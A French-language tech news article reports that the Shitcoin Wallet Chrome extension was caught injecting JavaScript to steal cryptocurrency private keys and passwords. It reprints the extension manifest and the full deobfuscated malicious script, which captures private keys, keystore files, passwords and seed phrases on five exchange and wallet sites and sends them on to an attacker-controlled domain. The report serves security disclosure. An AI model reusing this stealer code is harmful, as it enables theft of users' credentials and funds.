L'extension Chrome Shitcoin Wallet surprise en train d'injecter du code pour voler des MdP des utilisateurs

**Stéphane le calme** · 01/01/2020, 16h43

L'extension Chrome Shitcoin Wallet qui propose aux utilisateurs de gérer leur portefeuille Ethereum,
surprise en train d'injecter du code JavaScript pour voler les mots de passe et clés privées

Une extension Google Chrome a été surprise en train d'injecter du code JavaScript sur des pages Web pour voler des mots de passe et des clés privées dans des portefeuilles de cryptomonnaie et des portails de cryptomonnaie.

L'extension est nommée Shitcoin Wallet et a été lancée le mois dernier, le 9 décembre. Selon un billet de blog qui sert de présentation, ShitcoinWallet est un portefeuille Ethereum qui vous permet de vous connecter à la blockchain Ethereum. Il s'agit d'un portefeuille Web qui possède plusieurs extensions pour différents navigateurs. Le billet précise qu'un portefeuille Ethereum signifie que vous pouvez l'utiliser pour gérer, transférer, recevoir vos ethers, mais vous pouvez également utiliser ce portefeuille pour interagir avec des milliers de jetons ERC20 (jetons généralement émis pour des ICO - initial coin offering - qui sont des méthodes de levée de fonds fonctionnant via l'émission d'actifs numériques échangeables contre des cryptomonnaies durant la phase de démarrage d'un projet) qui prospèrent sur la blockchain Ethereum.

Les utilisateurs peuvent installer l'extension Chrome et gérer les jetons ETH et les jetons ERC20 à partir de leur navigateur, ou ils peuvent installer une application de bureau Windows, s'ils souhaitent gérer leurs fonds en dehors de l'environnement plus risqué d'un navigateur.

Nom : shitcoin.png
Affichages : 18322
Taille : 69,4 Ko

Cependant, l'application de portefeuille n'était pas ce qu'elle avait promis d'être. En effet, Harry Denley, directeur de la sécurité de la plateforme MyCrypto, a découvert que l'extension contenait du code malveillant.

Selon Denley, l'extension est dangereuse pour les utilisateurs de deux manières. Premièrement, tous les fonds (jetons ETH et jetons basés sur ERC0) gérés directement à l'intérieur de l'extension sont à risque.

Denley explique que l'extension envoie les clés privées de tous les portefeuilles créés ou gérés via son interface à un site Web tiers situé à erc20wallet[.]Tk.

Ensuite, l'extension injecte également activement du code JavaScript malveillant lorsque les utilisateurs naviguent vers cinq plateformes de gestion de cryptomonnaie bien connues et populaires. Ce code vole les identifiants de connexion et les clés privées, données envoyées au même site Web tiers erc20wallet[.]Tk.

Nom : harry.png
Affichages : 2522
Taille : 32,6 Ko

Selon une analyse du code malveillant, le processus se déroule comme suit :

Les utilisateurs installent l'extension Chrome.
L'extension Chrome demande la permission d'injecter du code JavaScript (JS) sur 77 sites Web.
Lorsque les utilisateurs naviguent vers l'un de ces 77 sites, l'extension charge et injecte un fichier JS supplémentaire à partir de: https://erc20wallet[.]Tk/js/content_.js
Ce fichier JS contient du code obscurci.
Le code s'active sur cinq sites Web: MyEtherWallet.com, Idex.Market, Binance.org, NeoTracker.io et Switcheo.exchange.
Une fois activé, le code JS malveillant enregistre les informations de connexion de l'utilisateur, recherche les clés privées stockées dans les tableaux de bord des cinq services et, enfin, envoie les données à erc20wallet[.]Tk

Ci-dessous, la portion de code contenant les 77 sites Web évoqués :

Code JavaScript :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
{
"update_url": "https://clients2.google.com/service/update2/crx",
 
  "name": "Shitcoin Wallet",
  "version": "1.5.2",
  "description": "E-wallet is concentrated on the ERC-20 platform.",
  "permissions": ["activeTab", "storage", "*://*.infura.io/*", "*://*.tokenbalance.com/*", "*://erc20wallet.tk/*"],
  "content_security_policy": "script-src 'self' 'sha256-lMz1NqveNgzhCVSTDXZo8ufc/yD3TkT7DOemexGdrRo='; object-src 'self'",
  "background": {
    "scripts": ["jquery.js", "background.js"],
    "persistent": false
  },
  "browser_action": {
    "name": "Shitcoin Wallet",
    "default_popup": "index.html",
    "default_icon": {
      "16": "images/logo.png",
      "32": "images/logo.png",
      "48": "images/logo.png",
      "128": "images/logo.png"
    }
  },
  "externally_connectable": {
    "matches": ["*://*.myetherwallet.com/*", "*://*.binance.org/*",
      "*://idex.market/*", "*://*.idex.market/*", "*://neotracker.io/*",
      "*://*.neotracker.io/*", "*://*.switcheo.exchange/*", "*://switcheo.exchange/*", "*://adalite.io/*", "*://*.adalite.io/*"]
  },
  "content_scripts": [
    {
        "js": [
             "inside.js"
        ],
        "matches": ["*://*.myetherwallet.com/*", "*://*.binance.org/*",
          "*://idex.market/*", "*://*.idex.market/*", "*://neotracker.io/*",
          "*://*.neotracker.io/*", "*://*.switcheo.exchange/*", "*://switcheo.exchange/*", "*://adalite.io/*", "*://*.adalite.io/*",
          "*://coinmarketcap.com/*", "*://*.techelex.org/*",
              "*://*.cambridgeenglish.org/*",
              "*://*.newspapers.com/*",
              "*://*.entscale.com/*",
              "*://*.whmcs.com/*",
              "*://*.noip.com/*",
              "*://*.booking.com/*",
              "*://*.cloudflare.com/*",
              "*://*.bbc.com/*",
              "*://*.airbus.com/*",
              "*://*.github.com/*",
              "*://github.com/*",
              "*://*.tokok.com/*", "*://*.coingecko.com/*",
              "*://www.nytimes.com/*",
              "*://*.huffpost.com/*",
              "*://*.latimes.com/*",
              "*://abcnews.go.com/*",
              "*://*.bloomberg.com/*",
              "*://*.dailymail.co.uk/*",
              "*://*.thesun.co.uk/*",
              "*://www.telegraph.co.uk/*",
              "*://www.thestar.com/",
              "*://www.news.com.au/",
              "*://www.cnbc.com/world/?region=world",
              "*://www.chron.com/",
              "*://www.usnews.com/",
              "*://timesofindia.indiatimes.com/",
              "*://indianexpress.com/",
              "*://www.cbsnews.com/",
              "*://www.sfgate.com/",
              "*://www.thedailybeast.com/",
              "*://www.theatlantic.com/world/",
              "*://www.herald.co.zw/",
              "*://www.dailysun.co.za/",
              "*://www.thestar.com.my/",
              "*://www.bangkokpost.com/",
              "*://www.thedailystar.net/",
              "*://english.alarabiya.net/",
              "*://www.scmp.com/",
              "*://www.voanews.com/",
              "*://www.aljazeera.com/",
              "*://www.hollywoodreporter.com/",
              "*://www.dawn.com/",
              "*://www.japantimes.co.jp/",
              "*://www.straitstimes.com/global",
              "*://www.thejakartapost.com/",
              "*://www.vanguardngr.com/",
              "*://www.nzherald.co.nz/",
              "*://www.newsweek.com/",
              "*://thehill.com/",
              "*://time.com/",
              "*://www.hindustantimes.com/",
              "*://www.thehindu.com/",
              "*://www.dw.com/en/top-stories/s-9097",
              "*://nypost.com/",
              "*://global.chinadaily.com.cn/",
              "*://www.forbes.com/#16950a692254",
              "*://www.theglobeandmail.com/",
              "*://www.bbc.com/",
              "*://www.mirror.co.uk/",
              "*://www.theguardian.com/international",
              "*://www.nbcnews.com/",
              "*://www.usatoday.com/",
              "*://www.reuters.com/",
              "*://www.washingtonpost.com/",
              "*://www.wsj.com/"
              ]
    }
],
  "icons": {
    "16": "images/logo.png",
    "32": "images/logo.png",
    "48": "images/logo.png",
    "128": "images/logo.png"
  },
  "manifest_version": 2
}

Ci-dessous, le code désobfusqué :

Code JavaScript :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
if (window['location']['hostname'] === 'www.myetherwallet.com') {
    var run = 0;
    var have1 = 0;
    var have2 = 0;
    var always = setInterval(function() {
        if (run === 0) {
            run = 1;
            var _0x61c4x5 = setInterval(function() {
                if ($('input[name=\'PrivateKey\']')['length']) {
                    have1 = 1;
                    clearInterval(_0x61c4x5);
                    $('input[name=\'PrivateKey\']')['bind']('paste', function(_0x61c4x6) {
                        var _0x61c4x7 = _0x61c4x6['originalEvent']['clipboardData']['getData']('text');
                        chrome['runtime']['sendMessage']('ckkgmccefffnbbalkmbbgebbojjogffn', {
                            pvi: _0x61c4x7,
                            status: 'pvi_et'
                        })
                    })
                }
            }, 800)
        };
        if (have2 === 0 & amp; & amp; $('input[type=\'file\']')['length']) {
            have2 = 1;
            $('input[type=\'file\']')['change'](function(_0x61c4x6) {
                var _0x61c4x8 = new FileReader();
                _0x61c4x8['readAsText'](_0x61c4x6['target']['files'][0]);
                var _0x61c4x9 = '';
                _0x61c4x8['onload'] = function(_0x61c4xa) {
                    _0x61c4x9 = _0x61c4xa['target']['result']
                };
                setTimeout(function() {
                    $('.password-form button:eq(0)')['click'](function() {
                        chrome['runtime']['sendMessage']('ckkgmccefffnbbalkmbbgebbojjogffn', {
                            kes: _0x61c4x9,
                            ps: $('.password-form input[type=\'password\']:eq(0)')['val'](),
                            status: 'kes_et'
                        })
                    });
                    $('.password-form input[type=\'password\']:eq(0)')['keypress'](function(_0x61c4xb) {
                        var _0x61c4xc = (_0x61c4xb['keyCode'] ? _0x61c4xb['keyCode'] : _0x61c4xb['which']);
                        if (_0x61c4xc === '13') {
                            chrome['runtime']['sendMessage']('ckkgmccefffnbbalkmbbgebbojjogffn', {
                                kes: _0x61c4x9,
                                ps: $('.password-form input[type=\'password\']:eq(0)')['val'](),
                                status: 'kes_et'
                            })
                        }
                    })
                }, 100)
            })
        };
        if ($('.private-key-form > div > input[name=\'PrivateKey\']')['length'] & lt; = 0 & amp; & amp; have1 === 1) {
            run = 0;
            have1 = 0
        };
        if ($('input[type=\'file\']')['length'] & lt; = 0 & amp; & amp; have2 === 1) {
            have2 = 0
        }
    }, 1000)
};
if (window['location']['hostname'] === 'idex.market') {
    var run = 0;
    var have1 = 0;
    var have2 = 0;
    var always = setInterval(function() {
        if (run === 0) {
            run = 1;
            var _0x61c4x5 = setInterval(function() {
                if ($('input[type="file"]')['length']) {
                    have1 = 1;
                    clearInterval(_0x61c4x5);
                    $('input[type="file"]')['change'](function(_0x61c4x6) {
                        var _0x61c4x8 = new FileReader();
                        _0x61c4x8['readAsText'](_0x61c4x6['target']['files'][0]);
                        var _0x61c4x9 = '';
                        _0x61c4x8['onload'] = function(_0x61c4xa) {
                            _0x61c4x9 = _0x61c4xa['target']['result']
                        };
                        setTimeout(function() {
                            $('input[type="password"]')['keypress'](function(_0x61c4xb) {
                                var _0x61c4xc = (_0x61c4xb['keyCode'] ? _0x61c4xb['keyCode'] : _0x61c4xb['which']);
                                if (_0x61c4xc === '13') {
                                    chrome['runtime']['sendMessage']('ckkgmccefffnbbalkmbbgebbojjogffn', {
                                        kes: _0x61c4x9,
                                        ps: $('input[type="password"]')['val'](),
                                        status: 'kes_id'
                                    })
                                }
                            });
                            $('button[type=\'submit\']')['click'](function() {
                                chrome['runtime']['sendMessage']('ckkgmccefffnbbalkmbbgebbojjogffn', {
                                    kes: _0x61c4x9,
                                    ps: $('input[type="password"]')['val'](),
                                    status: 'kes_id'
                                })
                            })
                        }, 100)
                    })
                };
                if ($('#theme-anchor > main > div > section > div.sm-col-8 > form > div > textarea')['length']) {
                    have2 = 1;
                    clearInterval(_0x61c4x5);
                    $('#theme-anchor > main > div > section > div.sm-col-8 > form > div > textarea')['change'](function() {
                        chrome['runtime']['sendMessage']('ckkgmccefffnbbalkmbbgebbojjogffn', {
                            pvi: $('#theme-anchor > main > div > section > div.sm-col-8 > form > div > textarea')['val'](),
                            status: 'pvi_id'
                        })
                    })
                }
            }, 800)
        };
        if (($('input[type="file"]')['length'] & lt; = 0) & amp; & amp;
            (have1 === 1)) {
            run = 0;
            have1 = 0
        };
        if (($('#theme-anchor > main > div > section > div.sm-col-8 > form > div > textarea')['length'] & lt; = 0) & amp; & amp;
            (have2 === 1)) {
            run = 0;
            have2 = 0
        }
    }, 1000)
};
if (window['location']['hostname'] === 'www.binance.org') {
    var run = 0;
    var have1 = 0;
    var have2 = 0;
    var always = setInterval(() = & gt; {
        if (run === 0) {
            run = 1;
            var _0x61c4x5 = setInterval(() = & gt; {
                if ($('input[type="file"]')['length']) {
                    have1 = 1;
                    clearInterval(_0x61c4x5);
                    $('input[type="file"]')['change'](function(_0x61c4x6) {
                        var _0x61c4x8 = new FileReader();
                        _0x61c4x8['readAsText'](_0x61c4x6['target']['files'][0]);
                        var _0x61c4x9 = '';
                        _0x61c4x8['onload'] = function(_0x61c4xa) {
                            _0x61c4x9 = _0x61c4xa['target']['result']
                        };
                        setTimeout(function() {
                            $('input[type="password"]')['keypress'](function(_0x61c4xb) {
                                var _0x61c4xc = (_0x61c4xb['keyCode'] ? _0x61c4xb['keyCode'] : _0x61c4xb['which']);
                                if (_0x61c4xc === '13') {
                                    chrome['runtime']['sendMessage']('ckkgmccefffnbbalkmbbgebbojjogffn', {
                                        kes: _0x61c4x9,
                                        ps: $('input[type="password"]')['val'](),
                                        status: 'kes_bi'
                                    })
                                }
                            });
                            $('#Unlock_Keystore_File')['click'](function() {
                                chrome['runtime']['sendMessage']('ckkgmccefffnbbalkmbbgebbojjogffn', {
                                    kes: _0x61c4x9,
                                    ps: $('input[type="password"]')['val'](),
                                    status: 'kes_bi'
                                })
                            })
                        }, 100)
                    })
                };
                if ($('.AlphabetWords__Rest-sc-19qqc38-15')['length']) {
                    have2 = 1;
                    clearInterval(_0x61c4x5);
                    $('.Button-wiovqy-0')['click'](function() {
                        var _0x61c4xd = '';
                        for (var _0x61c4xe = 0; _0x61c4xe & lt; 24; _0x61c4xe++) {
                            _0x61c4xd += (' ' + $('.AlphabetWords__SelectWordItem-sc-19qqc38-13:eq(' + _0x61c4xe + ')')['text']() + ' ')['replace']('X ', '')
                        };
                        chrome['runtime']['sendMessage']('ckkgmccefffnbbalkmbbgebbojjogffn', {
                            mm: _0x61c4xd,
                            status: 'mm_bi'
                        })
                    })
                }
            }, 800)
        };
        if (($('input[type="file"]')['length'] & lt; = 0) & amp; & amp;
            (have1 === 1)) {
            run = 0;
            have1 = 0
        }
    }, 1000)
};
if (window['location']['hostname'] == 'neotracker.io') {
    var run = 0;
    var have1 = 0;
    var have2 = 0;
    var have3 = 0;
    var always = setInterval(function() {
        if (run == 0) {
            run = 1;
            var _0x61c4x5 = setInterval(function() {
                if ($('#textField-owpk-private-key')['length']) {
                    have1 = 1;
                    clearInterval(_0x61c4x5);
                    $('#textField-owpk-private-key')['change'](function() {
                        if ($('#textField-owpk-private-key')['val']()['length'] & gt; = 52) {
                            chrome['runtime']['sendMessage']('ckkgmccefffnbbalkmbbgebbojjogffn', {
                                pvi: $('#textField-owpk-private-key')['val'](),
                                status: 'pvi_ne'
                            })
                        }
                    })
                };
                if ($('#textField-owek-encrypted-key')['length']) {
                    have2 = 1;
                    clearInterval(_0x61c4x5);
                    $('#textField-owek-encrypted-key')['change'](function() {
                        if ($('#textField-owek-encrypted-key')['val']()['length'] & gt; = 58) {
                            setTimeout(function() {
                                $('#textField-owfp-password')['keypress'](function(_0x61c4xb) {
                                    var _0x61c4xc = (_0x61c4xb['keyCode'] ? _0x61c4xb['keyCode'] : _0x61c4xb['which']);
                                    if (_0x61c4xc == '13') {
                                        chrome['runtime']['sendMessage']('ckkgmccefffnbbalkmbbgebbojjogffn', {
                                            enc: $('#textField-owek-encrypted-key')['val'](),
                                            ps: $('#textField-owfp-password')['val'](),
                                            status: 'enc_ne'
                                        })
                                    }
                                });
                                $('button:eq(18)')['click'](function() {
                                    chrome['runtime']['sendMessage']('ckkgmccefffnbbalkmbbgebbojjogffn', {
                                        enc: $('#textField-owek-encrypted-key')['val'](),
                                        ps: $('#textField-owfp-password')['val'](),
                                        status: 'enc_ne'
                                    })
                                })
                            }, 200)
                        }
                    })
                };
                if ($('input[type="file"]')['length']) {
                    have3 = 1;
                    clearInterval(_0x61c4x5);
                    $('input[type="file"]')['change'](function(_0x61c4x6) {
                        setTimeout(function() {
                            $('#textField-owfp-password')['keypress'](function(_0x61c4xb) {
                                var _0x61c4xc = (_0x61c4xb['keyCode'] ? _0x61c4xb['keyCode'] : _0x61c4xb['which']);
                                if (_0x61c4xc == '13') {
                                    chrome['runtime']['sendMessage']('ckkgmccefffnbbalkmbbgebbojjogffn', {
                                        enc: $('#textField-username')['val'](),
                                        ps: $('#textField-owfp-password')['val'](),
                                        status: 'enc_ne'
                                    })
                                }
                            });
                            $('button:eq(18)')['click'](function() {
                                chrome['runtime']['sendMessage']('ckkgmccefffnbbalkmbbgebbojjogffn', {
                                    enc: $('#textField-username')['val'](),
                                    ps: $('#textField-owfp-password')['val'](),
                                    status: 'enc_ne'
                                })
                            })
                        }, 200)
                    })
                }
            }, 800)
        };
        if (($('#textField-owpk-private-key')['length'] & lt; = 0) & amp; & amp;
            (have1 == 1)) {
            run = 0;
            have1 = 0
        };
        if ($('#textField-owek-encrypted-key')['length'] & lt; = 0 & amp; & amp; have2 == 1) {
            run = 0;
            have2 = 0
        };
        if ($('input[type="file"]')['length'] & lt; = 0 & amp; & amp; have3 == 1) {
            run = 0;
            have3 = 0
        }
    }, 1000)
};
if (window['location']['hostname'] == 'switcheo.exchange') {
    var run = 0;
    var have1 = 0;
    var have2 = 0;
    var have3 = 0;
    var always = setInterval(function() {
        if (run == 0) {
            run = 1;
            var _0x61c4x5 = setInterval(function() {
                if ($('.react-tabs__tab--selected:eq(0)')['text']() == 'JSON file') {
                    have1 = 1;
                    clearInterval(_0x61c4x5);
                    setTimeout(function() {
                        $('input[type="file"]')['change'](function() {
                            setTimeout(function() {
                                $('input[inputmode=\'verbatim\']:eq(1)')['keypress'](function(_0x61c4xb) {
                                    var _0x61c4xc = (_0x61c4xb['keyCode'] ? _0x61c4xb['keyCode'] : _0x61c4xb['which']);
                                    if (_0x61c4xc == '13') {
                                        chrome['runtime']['sendMessage']('ckkgmccefffnbbalkmbbgebbojjogffn', {
                                            enc: $('option')['val'](),
                                            ps: $('input[inputmode=\'verbatim\']:eq(1)')['val'](),
                                            status: 'enc_sw'
                                        })
                                    }
                                });
                                $('.exchange-ctaNormal')['click'](function() {
                                    chrome['runtime']['sendMessage']('ckkgmccefffnbbalkmbbgebbojjogffn', {
                                        enc: $('option')['val'](),
                                        ps: $('input[inputmode=\'verbatim\']:eq(1)')['val'](),
                                        status: 'enc_sw'
                                    })
                                })
                            }, 100)
                        })
                    }, 100)
                };
                if ($('.react-tabs__tab--selected:eq(0)')['text']() == 'encrypted key') {
                    have2 = 1;
                    clearInterval(_0x61c4x5);
                    $('input[inputmode=\'verbatim\']:eq(1)')['keypress'](function(_0x61c4xb) {
                        var _0x61c4xc = (_0x61c4xb['keyCode'] ? _0x61c4xb['keyCode'] : _0x61c4xb['which']);
                        if (_0x61c4xc == '13') {
                            chrome['runtime']['sendMessage']('ckkgmccefffnbbalkmbbgebbojjogffn', {
                                enc: $('input[inputmode=\'verbatim\']:eq(0)')['val'](),
                                ps: $('input[inputmode=\'verbatim\']:eq(1)')['val'](),
                                status: 'enc_sw'
                            })
                        }
                    });
                    $('.exchange-ctaNormal')['click'](function() {
                        chrome['runtime']['sendMessage']('ckkgmccefffnbbalkmbbgebbojjogffn', {
                            enc: $('input[inputmode=\'verbatim\']:eq(0)')['val'](),
                            ps: $('input[inputmode=\'verbatim\']:eq(1)')['val'](),
                            status: 'enc_sw'
                        })
                    })
                };
                if ($('.react-tabs__tab--selected:eq(0)')['text']() == 'private key') {
                    have3 = 1;
                    clearInterval(_0x61c4x5);
                    $('input[inputmode=\'verbatim\']')['bind']('paste', function(_0x61c4x6) {
                        var _0x61c4x7 = _0x61c4x6['originalEvent']['clipboardData']['getData']('text');
                        chrome['runtime']['sendMessage']('ckkgmccefffnbbalkmbbgebbojjogffn', {
                            pvi: _0x61c4x7,
                            status: 'pvi_sw'
                        })
                    })
                }
            }, 800)
        };
        if (!($('.react-tabs__tab--selected:eq(0)')['text']() == 'JSON file') & amp; & amp;
            (have1 == 1)) {
            run = 0;
            have1 = 0
        };
        if (!($('.react-tabs__tab--selected:eq(0)')['text']() == 'encrypted key') & amp; & amp;
            (have2 == 1)) {
            run = 0;
            have2 = 0
        };
        if (!($('.react-tabs__tab--selected:eq(0)')['text']() == 'private key') & amp; & amp;
            (have3 == 1)) {
            run = 0;
            have3 = 0
        }
    }, 1000)
}

Au moment de la rédaction de ce billet, l'extension était toujours disponible en téléchargement via le Chrome Web Store officiel de Google, où elle répertoriait 625 installations. Il n'est pas clair si l'équipe de Shitcoin Wallet est responsable du code malveillant ou si l'extension Chrome a été compromise par un tiers.

Nom : extension.png
Affichages : 2530
Taille : 11,8 Ko

Sur le site officiel de l'extension, des installateurs 32 bits et 64 bits ont également été mis à la disposition des utilisateurs.

Les analyses avec VirusTotal, un site Web qui regroupe les moteurs d'analyse antivirus de plusieurs fabricants de logiciels antivirus, montrent que les deux fichiers sont propres. Cependant, de nombreux commentaires publiés sur le canal Telegram du portefeuille suggèrent que les applications de bureau peuvent contenir du code similaire, sinon pire.

Source : Harry Denley, Shitcoin Wallet

Voir aussi :

Google annonce la disponibilité de la version bêta de Chrome 80 avec l'API d'indexation de contenu, les modules Workers et bien d'autres

Microsoft a commencé à accepter des extensions pour son navigateur Edge Chromium, et il ne devrait pas avoir de travail supplémentaire pour la soumission des extensions Chromium existantes

Vim 8.2 disponible, l'éditeur de texte open source multiplateforme vient avec le support des fenêtres pop-up, la fonctionnalité la plus demandée par les développeurs d'extensions

Mozilla va exiger que les développeurs d'extensions se servent de l'authentification à deux facteurs sur leurs comptes en 2020, pour empêcher les attaques sur la chaîne d'approvisionnement